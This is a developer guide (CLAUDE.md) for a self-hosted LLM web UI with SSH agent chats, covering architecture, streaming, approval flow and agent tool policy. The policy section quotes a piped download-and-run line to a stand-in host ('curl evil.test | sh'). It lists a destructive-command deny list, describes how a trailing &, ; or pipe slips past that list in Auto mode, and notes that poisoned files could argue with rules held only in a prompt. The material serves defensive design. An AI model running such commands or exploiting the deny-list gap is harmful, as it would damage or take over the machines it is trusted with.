LLeMbas/CLAUDE.md

CLAUDE.md

Working notes for LLeMbas. Read this before changing anything.

What it is

A self-hosted web UI for OpenAI-compatible LLM endpoints, written in Python and themed after Middle-earth. Server-rendered FastAPI + Jinja + htmx; SQLite; no JavaScript build step.

Commands

. .venv/bin/activate
pip install -e ".[dev,search,ssh]"  # `search` adds ddgs for DuckDuckGo,
                                    # `ssh` adds asyncssh for agent chats

lembas serve                        # http://127.0.0.1:8080
lembas info                         # paths + counts, useful when confused
lembas secret-key                   # generate LEMBAS_SECRET_KEY
lembas create-admin                 # create or promote an admin

pytest                              # 1676 tests, ~102s
                                    # PLAN.md tracks what is and is not built
ruff check .                        # lint (line length 100)
python scripts/build_artwork.py     # regenerate artwork (SVG + PWA icons;
                                    # needs fonttools and cairosvg)
python scripts/fetch_vendor.py      # verify vendored JS against the lockfile

Hard rules

These are the constraints the project is built around. Breaking one is a redesign, not a tweak.

1. No Node, no npm, no build step. Browser libraries are downloaded once by scripts/fetch_vendor.py, hash-pinned in scripts/vendor.lock.json, and committed under web/static/vendor/. Adding one is a --update, same as bumping one: a name in PACKAGES with no lock entry has nothing to verify against, and the script refuses rather than writing it unpinned. xterm is the one heavy dependency — 280KB, more than everything else together — and is loaded only on a chat that can open a terminal.
2. Nothing loads from a CDN at runtime. A self-hosted tool must work offline and must not report page views to a third party.
3. No hard-coded values outside tokens.css. Every colour, space, radius and control height resolves through a CSS variable. --control-h is why buttons, inputs and selects line up: they all take their height from it, so a mixed row is flush by construction rather than by nudging.
4. Additive-only schema changes. SQLite only, no Alembic. init_db() runs db/migrations.py:sync_schema(), which creates missing tables and adds missing columns by diffing the models against the database. Renames, drops and retypes are still manual. See "Changing the schema" below.
5. Secrets never reach the browser. API keys are Fernet-encrypted at rest and only ever rendered masked.
6. Model output is untrusted. Everything from an endpoint goes through services/markdown.py (markdown-it → nh3) or escape_text(). Never |safe on anything that has not.

The flavour rule

Middle-earth lives in the artwork, theme names, empty states, loading lines and error pages. It does not live in the functional UI.

Chats are called Chats, not Tales. Folders are Folders, not Chapters. Buttons say what they do. Someone who has never read the books must be able to use this without a glossary. The two themes are named moria and shire, and the 404 says "Not all those who wander are lost. This page, however, is." — that is the right amount.

Layout

src/lembas/
  main.py            app factory, lifespan, error handlers
  config.py          pydantic-settings, all LEMBAS_* variables
  cli.py             typer entry points
  api/
    deps.py          Db / CurrentUser / RequiredUser / AdminUser
    auth.py          register, login, logout
    pages.py         full-page routes (chat shell, settings)
    chats.py         messaging + the SSE stream
    folders.py       folder CRUD
    admin.py         connections + instance settings
    admin_models.py  model ordering, defaults, images, access
    admin_users.py   users, groups, permissions
    admin_audio.py   speech-to-text and text-to-speech endpoints
    admin_search.py  web search provider and credentials
    admin_images.py  the ComfyUI, and the workflow templates on it
    admin_prompts.py the prompt fragment editor and its preview
    admin_suggestions.py  the cards offered on the new-chat screen
    admin_tools.py   custom HTTP tools and MCP servers
    admin_agents.py  whether agent chats exist, and what they may spend
    agents.py        SSH connections, kept by the people who own them
    terminal.py      the terminal panel's WebSocket, and its two locks
    audio.py         transcribe, speak, voice discovery
    library.py       knowledge, notes, skills pages; memory CRUD
    files.py         upload, serve, remove attachments
    preferences.py   per-user theme, default model, password, audio
  db/
    base.py          Base, UUID/Timestamp mixins
    session.py       engine, SQLite pragmas, init_db, session_scope
    migrations.py    additive schema sync (tables + columns)
    models/          user, chat, connection, setting
  security/          passwords (argon2), sessions, permissions
  services/
    llm/openai_client.py   httpx streaming + model discovery
    search/          ddgs, SearXNG and Firecrawl behind one shape
    images/          drawing on a ComfyUI: comfy.py speaks HTTP,
                     workflow.py fills a template, tool.py ties them
                     to a chat and decides whether to keep the result
    library/         documents, notes, memories, skills, FTS
    mcp/             remote MCP servers: framing, transport, rows to tools
    agent/           agent chats: the mode table, SSH, the six tools,
                     terminal.py (shells held open behind the panel),
                     shell_marks.py + capture.py (where one command ends),
                     index.py (what is in the project directory),
                     instructions.py (the project's own AGENTS.md),
                     patch.py (applying a unified diff, and rendering one)
    audio.py         OpenAI-shaped /v1/audio/* client
    fetch.py         URL retrieval, HTML to text, the SSRF guard
    sharing.py       one visibility rule for every library store
    prompts.py       every injected prompt fragment, and {{variables}}
    metrics.py       tokens, context percentage and tokens/second
    tokens.py        the chars/4 estimate, for endpoints that report none
    compaction.py    summarising the earlier turns of a long chat
    suggestions.py   new-chat starting points, seeded once
    harness.py       the operational prompt built from what a model has
    tools.py         tool registry, schemas, streamed-call reassembly
    tool_labels.py   what each tool is called and looks like, in one table
    plans.py         a plan's shape, and keeping one current
    custom_tools.py  the admin-defined HTTP tool runner
    tool_access.py   who may be offered which admin-defined tool
    interaction.py   pausing a reply to ask the reader something
    chat.py          request building, endpoint resolution, titles
    markdown.py      markdown-it + pygments + nh3
    crypto.py        Fernet encrypt/decrypt/mask
    files.py         attachment validation, images, PDF/text extraction
    reasoning.py     splits thinking from the answer
    settings_store.py  runtime instance settings
    canvas.py        what is open in the canvas panel, and where it comes from
    scratch.py       a chat's own working document
    uploads.py       validated image storage
    sse.py           event framing
  web/
    templating.py    render() -- always use this, not TemplateResponse
    templates/       Jinja
    static/          css, js, vendor, img, sw.js
      js/commands.js   the / table, and the keyboard that does the same jobs
      js/canvas.js     the canvas panel's three behaviours
      js/composer.js   the menu / and @ open, and the mirror that marks them
assets/              SVG masters and PWA icons (generated)
deploy/              systemd unit, nginx vhost, install/update scripts

Things that will bite you

render(), not TemplateResponse. web/templating.py:render() injects user, theme, layout, version and allow_signup. Templates assume they exist. If you must call templates.TemplateResponse directly (the SSE path does, because there is no Request), pass user explicitly — chat/_message.html renders both roles and the user branch dereferences it.

The message template is the state machine. chat/_message.html renders an incomplete assistant message as a streaming shell carrying sse-connect, and a complete one as finished output. That is the only thing that starts a generation. A consequence worth knowing: loading a page whose last reply is unfinished restarts it, which is how a dropped connection recovers.

SSE framing. services/sse.py:event() splits payloads on newlines into several data: lines. A raw newline in a single data: line truncates the event — the failure shows up the first time a model emits a code block.

Streaming opens its own database session. api/chats.py:_generate() uses session_scope(), not the request's session, because streaming outlives the request handler.

Escaping is chunk-safe on purpose. escape_text() is html.escape, which works character by character, so escaping stream chunks separately equals escaping the whole string. nh3.clean_text would also be safe but escapes spaces and slashes, tripling the size of every streamed token.

The fence renderer is replaced, not configured. markdown-it's highlight option re-wraps output in <pre><code> unless the string starts with <pre, which would nest a second <pre> inside our wrapper. markdown.py overrides renderer.rules["fence"] instead. There is a regression test for this.

SVG <style> is document-scoped. Two text runs in one SVG sharing a class name means the later rule recolours both. build_artwork.py takes class names as parameters for exactly this reason.

Gradient ids are document-global. The mark() macro takes a uid because two marks on one page with identical ids make the second silently reuse the first one's gradients.

Two kinds of settings. lembas.config is deployment configuration read from the environment at startup. services/settings_store.py is instance settings an admin edits at runtime, stored in the settings table. Environment variables seed the latter as an initial value only — once stored, the database wins, or a toggle in the UI would silently revert on the next restart.

Permissions are a union, and admins bypass them. security/permissions.py resolves a baseline (instance setting) widened by each group. A group grants; it never denies — otherwise "why can this user not do X" needs a simulation of every group to answer. Model access is separate: models_visible_to().

FastAPI cannot tell an empty form field from an absent one. With x: str | None = Form(None), a submitted x= arrives as None, so "clear this field" is indistinguishable from "leave it alone". api/chats.py:update_chat reads await request.form() and checks key presence instead. Anything with a clearable field must do the same.

Mapped[list] without an element type is not a collection. SQLAlchemy treats a bare Mapped[list] as a scalar and hands back None instead of []. Always write Mapped[list[Group]], with a TYPE_CHECKING import if the class lives in another module.

Auto-titling is a request like any other, and it was reading the wrong field of one. complete() hands back message.content verbatim, and a model that emits <think> inline puts its thinking in exactly that field -- so a title came back as "Okay, the user wants a short title for", or, once the too-long guard caught that, as the first prompt trimmed, which looks precisely like titling never having run. generate_title puts the reply through reasoning.strip_reasoning now. The budget was 24 tokens, which is ample for six words and nowhere near enough for a model that thinks first: too small is not a shorter title, it is no title, because the thinking consumes the budget and content comes back empty. It is TITLE_MAX_TOKENS and generous.

Deliberately not apply_effort(body, "low"), tempting as that is. Those two fields appear only where somebody has opted in, precisely so a provider strict about unknown parameters sees the request it always did -- and an LLMError here is caught and turned into a fallback title, so a 400 would be titling silently switching itself off. The token budget is what makes room for the thinking.

Reasoning arrives two ways. A reasoning_content delta field (llama.cpp, llama-swap, vLLM) or <think> tags inline in content (Ollama and friends). services/reasoning.py handles the second with a streaming splitter, because the tags arrive split across chunks. Reasoning is stored in Message.reasoning and is deliberately not replayed as context on the next turn.

Attachments are typed by their bytes, not their name. services/files.py sniffs magic numbers; a .png full of text is stored as text. Images are downscaled and re-encoded (a phone photo is megabytes of base64), PDFs have their text extracted once at upload — re-extracting per request would let a reply change because a parser was upgraded.

Images only go to models marked vision. Sending content parts to an endpoint without multimodal support is not graceful degradation; most reject the whole request. build_request() checks the capability and falls back to a plain string. A plain text turn must stay a plain string for the same reason.

Attachments are served, never linked. Images reach the model as base64 data URIs: a local endpoint has no route back to LLeMbas and a hosted one has no credentials. Non-images are served Content-Disposition: attachment with nosniff, so an uploaded .html cannot execute in this origin.

Uploads are unbound until the message is sent. Attachment.message_id is null in the composer; files.claim() binds them, and only unclaimed rows owned by that user, so a forged id cannot pull in someone else's file. Abandoned ones are swept at startup.

Generation is a background task; the SSE endpoint only follows it. services/generation.py owns the work and the registry; api/chats.py:_follow watches a Generation and streams what it sees. Closing the connection does NOT stop the reply -- that was the old behaviour and it cut answers off when the reader navigated away. Any route that creates an assistant placeholder must also call generation.ensure().

ensure attaches, restart replaces. The registry is keyed on message id and finished generations linger KEEP_FINISHED so a follower arriving at the last moment still gets the final frames. ensure is idempotent because a page load finding an unfinished reply must attach rather than start a second one. Regeneration is the only caller that reuses a Message row, and therefore the only one for which idempotence is wrong -- it got the finished generation back, made no request, and left the browser reconnecting to a stream with nothing to say. It calls restart. _persist refuses to write when another generation owns the message, because a cancelled predecessor's finally: still runs.

The row is written before done is set. _follow breaks out the instant it sees that flag and re-renders the bubble from the database, so the row has to be authoritative first. The other order silently showed the previous turn's stored metrics.

A thinking block reports its own round. Message.reasoning_ms was the reply's first burst, written once, so on a forty-round reply only the first block could honestly claim a duration and the rest said "Thought" and nothing. Generation.thinking_ms accumulates per round — the interval between a round's first and last reasoning delta, not a sum of per-delta gaps, which would count the network's latency as the model's thinking — and close_step stamps it cumulatively, so steps.py diffs it exactly as it diffs the three lengths. The last round closes no mark (it is the round that stopped calling tools), so its duration is what the reply spent beyond the last mark, which is why _persist stores thinking_ms into reasoning_ms in preference: it is the same measurement done properly.

The live block's numbers come from a think frame, and round_thinking_ms is written by the producer. Computing it in the follower from a start time would keep the clock running after the model had stopped thinking and moved on to a tool — a timer rather than a measurement. The animated ellipsis is a content keyframe in CSS: no timer to start, stop or clean up when the block is swapped away, and it stops existing when the element does.

include_open and live are two questions, and conflating them put a caret on every finished reply. One says whether to emit the trailing step, the other whether it is still being written. for_message wants the first without the second. The test that existed asserted the caret was on the right step and passed; it never asked whether a finished reply should have one.

A reply is a sequence of steps, and the marks are what make it one. The three stores a reply writes into -- content, reasoning, tool_events -- are each append-only and each correct, and none of them records interleaving. So a bubble was rendered as three zones (all the thinking, then every tool block, then all the prose), which reads fine on a two-round answer and is unusable on a forty-round one. Message.steps_json is a table of contents over the three, not a fourth copy of anything: one entry per closed step holding the cumulative length of each at that moment, written by Generation.close_step(). Because they are marks, build_messages, compaction, titling and the copy button all still see message.content as the one string it always was. services/steps.py does the walk; no marks means the old layout, which is what every row written before this reads back, with no version flag and no branch in the template. close_step is called where a round ends and in _gave_up/_wrap_up, which append outside the round loop -- without their own mark the one line saying why the reply stopped lands in the step still being written, where the live view has no tools slot to show it in.

Splitting Markdown at those boundaries can leave a code fence open, which markdown-it then runs to the end of the segment and mispairs every later fence in the reply. markdown.open_fence plus a carry in steps.py closes it at the end of one piece and reopens it at the start of the next. Rendering only -- message.content is never touched.

Stream frames carry whole blocks, not deltas, and the split is closed versus open. steps carries every finished step and moves only when a round ends; reasoning and render carry the step still being written and move at streaming speed; metrics and status send the complete value each time. All are swapped with innerHTML. That is what makes reattaching mid-reply work: a follower arriving late has no earlier fragments to append to, and _follow's rendered list is a render cache rather than a wire protocol -- it starts empty per follower, so the first frame carries the whole prefix.

The split is what makes it affordable. The old tools frame re-rendered every tool call in the reply twelve times a second, against an output_bytes budget of a megabyte, so a long agent reply spent most of its wall clock re-rendering its own transcript. Do not "simplify" this back into one frame.

Two frames must be able to blank themselves, and the rest must not. steps, reasoning, render and canvas are only sent when they have something in them, so a frame can never wipe what is on screen. metrics, status and ask are sent on every version bump including empty, because each has to be able to clear: an approval card that survived being answered would be a button you could press twice. canvas is the sharpest case on the other side — an empty one would close every tab somebody had open, which is the same failure with the sign reversed.

The tail is the exception that proves it. When a round closes, what was being written becomes a step above and the live containers must empty — so the steps frame re-emits those two containers empty as part of its own payload (chat/_steps_tail.html, included by _steps.html when live). The tail is blanked by construction, and reasoning/render keep their never-blank guard. The emit order inside one _follow pass is therefore load-bearing: steps first, because it carries the containers the other two are swapped into. Safe because htmx re-registers sse-swap on content it swaps in, the same property the approval card's buttons already rely on.

An opened block has to survive the swap, and the ids are how. The steps container is replaced with innerHTML up to twelve times a second and the done frame replaces the whole article, so a <details> somebody expanded shut itself again — which at that rate is not an annoyance, it is a block that cannot be opened at all. web/static/js/steps.js records which are open before a swap and puts them back after. It works only because the ids are stable: tool-{message}-{step}-{n} and think-{message}-{step} come from the mark index, the marks are append-only, and the finished bubble emits the same container id and the same inner ids as the live one. hx-preserve cannot do this — it keeps a node and its contents, and these have to update.

The other half was the scroll. scrollThread refused to scroll only when the reader was far from the bottom, but somebody near the bottom who opens a block is reading, and the next frame dragged them back down. There is an explicit stick flag now: opening a <details> in the thread clears it, and returning to the bottom sets it. The toggle listener must be registered in the capture phase — toggle does not bubble, and without the third argument the whole feature is silently dead in every browser. tests/test_ui_js.py pins that.

Stopping sets a flag the producer checks -- except while it is paused. generation.request_stop(); whatever arrived is kept and the message is marked stopped, distinct from error. In-process, so single-worker only. cancel is read in exactly one place, between streamed chunks, and a reply waiting on an approval produces no chunks -- so request_stop also resolves generation.pending, and that is the wakeup. Without it the Stop button does nothing at all while a card is on screen, silently.

Asking a person is one primitive with three uses. services/interaction.py: a command waiting to be allowed, a question the model asked, and "this reply is waiting for you" are all pause, render a block in the bubble, wait for a POST, resume. It pauses a round, not a call -- a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly, and hand the reader four cards for commands whose order matters. So one card covers everything in the round, and _authorise returns pre-decided outcomes keyed by call index, which is what keeps zip(calls, outcomes, strict=True) aligned.

One ask_user call may carry several questions, and they come back at once. Each becomes an Item with its own key; several items can share an index because they belong to one call, and one tool turn answers them all with each answer quoted beside its question. Asking one at a time would cost a round trip and an interruption each, and answering the third would mean having forgotten the first. _questions_in reads the singular form and bare strings too, and _options_in reads an option written as a bare string as well as one written as {label, description}: a small model sends something close to the schema rather than the schema, and getting it wrong costs a whole round trip to show a card that says nothing.

"Something else" is added by the template, never by the model, and that is why the model is told not to offer one. Every question gets it, with a text box behind it revealed by :has() — no JavaScript, and nothing that can fall out of step with the control. An "Other" the model wrote would be an option with no box behind it: a choice that submits a word and means nothing. It carries interaction.OTHER as its value rather than an answer, and the endpoint replaces it with whatever was typed beside it — or drops it entirely when the box is empty, because telling the model the answer is __other__ is exactly the shape of thing it would try to act on.

Options are required now, and stacked one per line rather than in a row: an option carries an optional description, and a row of chips has nowhere to put the second and no room to read the first. A question with no options is a blank box, which asks the reader to do the thinking the model was meant to do.

The model says whether its options are exclusive, because only it knows whether they are alternatives or a set — multiple picks radios or checkboxes, and the default is exclusive because that is the cheaper mistake: a radio group where checkboxes were meant costs one clarifying round, while checkboxes for alternatives invite an answer that contradicts itself. A multiple question posts the same field name once per ticked box, so the endpoint gathers choice. fields into a list and joins them; the setdefault it used to do kept the first and lost the rest, which is an answer that says something the reader did not. Typing no longer beats picking — that rule belonged to a box that was always visible, and this one only exists when its own option is chosen.

A paused reply is deliberately not done. That is what lets a page reload reattach to it. Its timeout is what stops it lingering, not _prune, which only drops finished ones -- so approval_timeout is clamped to at least a minute on read, and _prune resolves anything whose deadline is long past as a backstop.

Nothing is persisted while paused. A restart abandons the pending question along with the reply, and a reload starts the turn afresh -- the model asks again. That is consistent with "a restart abandons replies in flight", but it means an approval is not a durable record of consent.

The mode and the allow list are re-read between rounds, not once per reply. Both are things a person changes while watching a reply, and both were snapshotted when it began -- so switching to Auto during a long agent reply went on asking about every call, and "Always allow this" was accepted, written to the row and then ignored for the rest of the reply that had just asked. Both look exactly like a control that does not work, because for that reply they were. agent/session.py:refresh re-reads the two, and only those two: everything else is fixed for the life of the chat or is an instance setting nobody edits mid-reply. Between rounds and never within one -- a round's calls are authorised together, so switching must not retroactively approve what is already queued, which is the property the old snapshot was protecting by accident. It mutates in place because as_approved copies field references: a replacement would leave this round's approved copy pointing at the old context.

A chat's kind and connection are fixed at creation; only the mode moves. Chat.kind, ssh_profile_id and project_dir are chosen on the new-chat screen and refused by update_chat thereafter with a 409 — a transcript whose earlier turns ran somewhere else is not one conversation. agent_mode is the exception and changes freely: it decides what gets asked about, not what the conversation is. It is read once per round — see the note above for why that is not once per reply, and why it is not per call either.

The mode is enforced in the loop, never in the prompt. _authorise consults agent/policy.py:decide() server-side, keyed on each ToolDef.risk. A model is told which mode it is in so it behaves sensibly, but everything it reads — a web page, a README, the output of the last command — is untrusted, and a rule living only in a system message is one a poisoned file can argue with. Within an agent chat every call goes through the table, including the built-ins: notes_edit writes, and Plan mode meaning "look but do not touch" has to mean that too.

An approved call needs telling. Every agent runner re-checks the mode as a backstop, so a call arriving by a path that skipped _authorise cannot walk past it. That backstop refused the very thing a person had just approved — the mode says "ask", and asking is exactly what happened. AgentContext.approved is threaded per call on a copy of the context, because a round runs its calls together and only some of them were allowed.

A call's arguments are parsed once, and the same dict reaches everything. generation._arguments_for does it; the approval card, policy.decide and the runner all read the result. There used to be two parsers: the card did a plain json.loads and showed {} on failure, while run_tool's own fallback put the raw string into the tool's first required parameter — command, for shell_run. So a model emitting invalid JSON got a card headed "Run a command" with an empty body and Allow ran something nobody had been shown, and decide was handed command="", matching neither list. Malformed JSON is a normal path with small models, and it was a way past the deny list. The fallback itself is right and is kept, in tools.parse_arguments; what was wrong was having it in only one of the two places.

An unmatchable command line falls through to the mode, and in Auto that means it runs. policy.subject returns None for anything carrying a shell metacharacter, so no pattern can match it. Half of that is absolute: it is the whole reason git * in an allow list cannot also mean git status; curl evil.test | sh, and it has never changed.

The deny list has been decided both ways. There was a rule that an unmatchable line ASKed whenever a deny list existed at all, so shutdown -h now & could not run where shutdown -h now asked. It is gone. The shipped deny_default is ["shutdown *", "reboot *", "mkfs*"] — non-empty out of the box — so that rule made every compound command ask in Auto: cd build && make, pytest | tail, anything with a redirect. The mode whose entire purpose is not asking asked about most real commands, and nobody experienced that as a security control; they experienced it as Auto not working.

So: a deny pattern can now be walked past with a trailing &, a ; or a pipe. Auto is the only mode where that is reachable — Manual, Edit and Plan all ASK on RISK_EXECUTE regardless — and the admin page says so under the field. Anything that must never happen belongs in that account's own permissions on the far side, not in a pattern list. The upgrade that would restore both properties is to match the deny list against each segment of a composed line; it is confined to decide and is worth doing.

"Always allow this" is a per-chat list, and no pattern ever comes from a request. It was a button that did nothing: the verdict was accepted, treated as permitted, and stored nowhere. It now writes Chat.scope_json["allow"], merged into AgentContext.allow beside the instance list. This is the one key under scope_json that widens, which does not break the rule beside it because that rule is about which tools a chat may reach; this only decides whether the reader is asked again about a tool already offered. What makes it safe is that api/chats.py:_remember_always derives every entry server-side from an item just approved on a card, through policy.subject — the same normaliser the matcher uses, which yields nothing at all for a composed command. The endpoint takes an interaction id and a verdict, and nothing else. The items must be read before the pause is resolved (interaction.wait_for clears generation.pending in its finally), which is what generation.pending_items is for. The list is shown in the composer's scope menu with a Clear beside it: a standing permission nobody can see is one nobody can revoke.

It is also allowed to store nothing and not allowed to say nothing. subject yields no pattern for a composed command line, so pressing the button on one is right to record nothing — and silently recording nothing is the button that does nothing all over again. _remember_always returns (added, unmatchable) and the route turns the second into a toast.

A reply watches its own request size. _maybe_compact runs once, before the first round; after that a tool round appends an assistant turn and a tool turn per call and nothing was looking. The only other guard, max_total_output_bytes, defaults to a megabyte — about 260k tokens, larger than the window of nearly every model this talks to — so it never fired first and a long agent reply grew its request until the endpoint refused it. The reader got an upstream error rather than an explanation. _too_big now stops between rounds at CONTEXT_HEADROOM of Model.context_length, via the _gave_up event that already existed. A context_length of 0 is unknown, not small, and is skipped — the same rule the context percentage and automatic compaction follow.

And the estimate it reads has to follow the request. tokens.estimate_request was called once, before the loop, so it described the first round and nothing after it. That matters beyond the ceiling: for every endpoint that sends no usage block — llama.cpp, Ollama, llama-swap — that estimate is what the metrics report, so a forty-round reply showed round one's prompt as the whole reply's. It is recomputed per round now, and prompt_estimate_total sums them, mirroring the reported figures exactly: the prompt is summed across rounds because it was paid for each time, while what the reply occupies is the last round's prompt plus what was written.

A harness that fits is not the same as one with room. The shipped set had grown to within 1,300 characters of the 16,000 ceiling, and crossing it is silent: assemble cuts the tail, which by fragment order is the project's own AGENTS.md. It went to 20,000, and tests/test_harness.py pins a margin (HARNESS_MARGIN) as well as a fit — the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces rather than shorter.

It is 24,000 now, and that is the margin doing its job rather than a number being nudged: adding core.commit and tool.agent_edits took the headroom under 20% and the test said so, instead of somebody's AGENTS.md quietly losing its last paragraph. Raising the ceiling costs nothing by itself — it is a limit, not a size, and the assembled block is the same length either way.

MAX_HARNESS_CHARS has to be larger than the budgets the same code grants. It was 8000. The fragments alone are about 7,900 characters for an agent chat, and index_chars (2,000) and instructions_chars (4,000) are granted on top, both on by default. prompts.assemble cuts the tail, and by fragment order the tail is the context worth having — so on a default install the project listing was severed mid-tree and context.agent_instructions was dropped entirely. The one path by which a project's own AGENTS.md reaches a model did not reach it, and nothing said so. The two big blocks already carry their own budgets, applied before assembly, so what this bounds is the fragments growing unnoticed; it is set above the sum of what those budgets grant. tests/test_harness.py pins that the shipped configuration fits.

A model says what each action is for, and it is shown where the action is. shell_run, file_write, file_edit and job_stop take a why: one line, carried onto the approval card as Item.purpose and onto the tool event, where the transcript renders it in the summary rather than the collapsed body. Auto mode is the case it exists for — nothing stops for approval there, so without it a reader watches a list of commands with no account of any of them until the reply ends. Kept apart from Item.reason, which is our reason for stopping; an explanation a reader takes for the application's own would be LLeMbas vouching for text a model wrote. Not on file_read, file_list or file_search: they are the hot path, their detail already says everything, and a schema property costs tokens whether or not it is filled in. The wiring is a _explained wrapper at the ToolDef, next to the schema that declares it, so the two halves cannot drift.

An agent chat is told to work to an objective, to work out loud, and then to stop talking and act. core.objective, core.narrate and core.commit, all families=("agent",). The third is the counterweight to the second and was added because a model without it read "work out loud" as licence to deliberate for ever — pages of "Ready? GO! ... Wait, one last check ... Actually ..." and not one tool call, ending a reply having done nothing. Narration is worth having; what it needed was a bound. core.narrate is deliberately the opposite of core.tools_preamble's "do not announce that you are about to" — which is right for a short answer, read once it is finished, and wrong for a long piece of work, which is watched while it runs. It says so in its own words rather than referring to the other fragment, which an administrator may have cleared. Neither appears in an ordinary chat, where stating an objective in front of a two-line answer is the preamble core.style already forbids. This costs nothing structurally: text produced before a tool call already survives into the finished reply.

A name in an f-string does not have to be a string. jobs.py interpolated {log} — the module logger — where it meant {logf}, so the launch-and-wait wrapper ended rm -f … <Logger lembas.services.agent.jobs (WARNING)> …, whose angle brackets and parentheses are shell syntax. The line died with a syntax error after the sentinel, where nothing reads it, so every command still worked and every job silently left four files on the far side forever — including the log holding everything it printed. Nothing caught it because the tests asserted on the output, which was correct. tests/test_agent_jobs.py now runs every wrapper through sh -n.

registry(db) must know every tool that can be offered, agent tools included. It maps an offered tool name back to a family, which is how the harness decides that tool.agent applies. They are listed there unbound to any chat. Without them shell_run resolves to no family, and an agent chat is told nothing about the machine it is working on. The identical omission cost custom tools their guidance once already; there is a test for it now.

A tool description is schema; the harness is where "where" lives. Descriptions are sent verbatim and are deliberately not editable, so they state facts about the runner. Which machine, which directory and which mode belong to this chat and live in the tool.agent fragment, where they can change without the schema shifting under a model mid-conversation.

Each command is a fresh shell. Connections are per call, so cd build followed by make fails silently — cwd is a first-class parameter reaching the executor, never spliced into the command string. This is the likeliest single cause of "the agent seems stupid", and the harness says it out loud. So does the other one: on a Debian-derived host apt-get install reports the package missing until apt-get update has run.

A command can outlive the reply, and that is the one place the fresh-shell model is fought rather than obeyed. services/agent/jobs.py: a background job is a setsid-detached process on the far side, redirected to a remote logfile and an exit-file, so it survives the connection closing; LLeMbas reconnects (a fresh connection, as always) to read it. Opt-in, off by default. When on, the same wrapper runs every command: it launches detached and waits, and a command that outlasts its timeout is kept running as a job rather than killed. Three things in the wrappers are load-bearing and were each got wrong first: the command is base64'd into a script file, never put in a quoted sh -c '…' (which shatters on git commit -m 'fix' and is an injection hole); the child records its own pid via $$ under setsid as the group leader, so job_stop kills the whole group; and the exit status is read from the exit-file, not the wrapper's own status, which is ~0 from its trailing rm. A job's files are namespaced by the calling chat's id and the wrappers are always built from it, so a model in one chat cannot even name another's job.

"Prompt the model back when a job finishes" reuses the queue. A per-job poller (jobs._watch, a fresh connection per tick — never a held one, that being the thing the whole subsystem forbids) notices completion and calls jobs.wake. Wake writes the completion as a user-role turn whose content names itself a machine event — _inject sends a queued turn verbatim, so the framing lives in the words, the way execute_plan quotes the plan, and tool.background tells the model these arrive. If a reply is running the completion is left queued for its _inject/_drain; if the chat is idle a fresh reply is started (the send_queued_now move). All of it is under a per-chat asyncio.Lock with no await between the running-check and ensure, so two jobs finishing at once cannot each spin up a generation — the second sees the first's reply live and leaves its completion for it. The Job table exists for one reason the terminal/generation "lost on restart" precedent does not cover: a job runs for hours with nobody watching, so a restart rehydrates its watcher from the row (jobs.rehydrate, in the lifespan) rather than forgetting the one thing the feature promises. Cancelling a watcher never stops the detached remote job.

A file a model reads and a file a person edits are not the same read. ssh.read_file ends in base.clean_output, which strips ANSI escape sequences and decodes with errors="replace" — right for the output of a command, and fatal for an editor: open a file containing an escape byte through it, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. ssh.read_text/write_text are Canvas's own pair — strict decoding, binary reported rather than mangled, a mtime:size token for detecting a file that moved underneath, and oversize refused rather than truncated, because write_file truncates and a model is told how many bytes it wrote while somebody pressing Save is not. The model-facing two are deliberately untouched: what they return is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason — saving back the first 256KB of a larger file is how the rest of it is deleted.

Canvas is six sources behind one shape, dispatched through one table in services/canvas.py for the reason tool_labels.py and sharing.RESOURCE_TYPES are tables: six independently written permission checks is how one of them ends up written slightly differently, and the way that failure shows up is somebody editing somebody else's note. A tab key is "<source>:<ref>", split with partition because a path may contain a colon. path_key is lifted out of agent/tools.py:_path_key and shared, so a tab a model opened and one a person opened are one tab rather than two spellings of the same file.

A model fills the canvas strip; a person decides what is in front. open_tab(..., activate=False) is what the generation loop passes, and it is the whole of how the panel avoids being unusable: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Eviction at MAX_TABS never closes the tab in front. Only the strip is streamed — pushing the contents would overwrite a textarea somebody is typing in — which is also why canvas.js needs no guard against a swap: both halves are settled on the server, where they cannot be lost to a race.

Files never go through a shell. The SSH exec protocol carries one command string that the far side parses, with no argv form at all, so a model-supplied path in a command line is unavoidably a quoting problem. file_read/file_write /file_edit/file_list use SFTP, where a path is a path.

file_edit refuses a file this reply has not read, in those words. A patch written from memory either fails on context — the good case — or matches something it did not mean; and file_write's failure mode is worse still, since it silently drops everything the model did not happen to recall. So AgentContext.read_paths records what was read and file_edit answers "Read the file first!" otherwise. It lives on AgentContext because runners never see a Generation and a read path is a fact about the machine; it is shared with the approved copy because as_approved is dataclasses.replace, which copies field references. It resets each reply, and that is right rather than a limitation: tool_calls_json is never replayed, so on the next turn the model does not have the contents either.

A patch's line numbers are a hint; its context is not. agent/patch.py tries the hinted position, then scans ±MAX_DRIFT for an exact match of the context block, and refuses when more than one matches. Models get line numbers wrong constantly and get context right, so this single behaviour is most of what makes the tool usable. Line endings are normalised in and restored out, a blank context line that lost its leading space is read as blank, and nothing is written unless every hunk applies — a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again.

A refused patch has to say where the file actually is. The mismatch used to quote one expected line against one found line, and a model whose numbering is two out cannot see where it has landed — so it resends the identical patch, which is most of the retry loop this tool produces across models. patch._around prints MISMATCH_WINDOW numbered lines either side of the hint with the hinted one marked, and says where the file ends when the hunk is past it. tool.agent_edits is the prompt half: read it again, patch what is there, and do not fall back to file_write, which replaces the whole file and drops everything the model did not recall.

file_edit refuses a file it cannot read whole, and that one was silent data loss. It used to go through _current, which answers "" for a file it cannot read — right for file_write, where the file is about to be created, and wrong here twice over. An unreadable file was reported to the model as a context mismatch against "(past the end of the file)", i.e. as an empty one. And a file larger than max_output came back truncated, was patched, and was written back by a write_file that replaces — so the rest of the file was deleted, silently, and reported as a success with a byte count. Both are refused now, in those words. It is the same rule Canvas already follows: a truncated read opens read-only, because saving back the first N bytes of a larger file is how the rest of it goes.

A write costs an extra round trip, deliberately. file_write reads the old contents before writing so the transcript can show a real +/- diff instead of "1284 bytes". That is one SFTP trip on the hottest agent operation and it is a conscious trade: it is the difference between seeing what an agent did and having to go and look. It earns its keep twice, because that read also counts as having read the file. file_edit does not call index.forget_dir — an edit does not change the listing, the file was already there — but both call instructions.forget when the path is the project's AGENTS.md, which is the one cache that genuinely went stale.

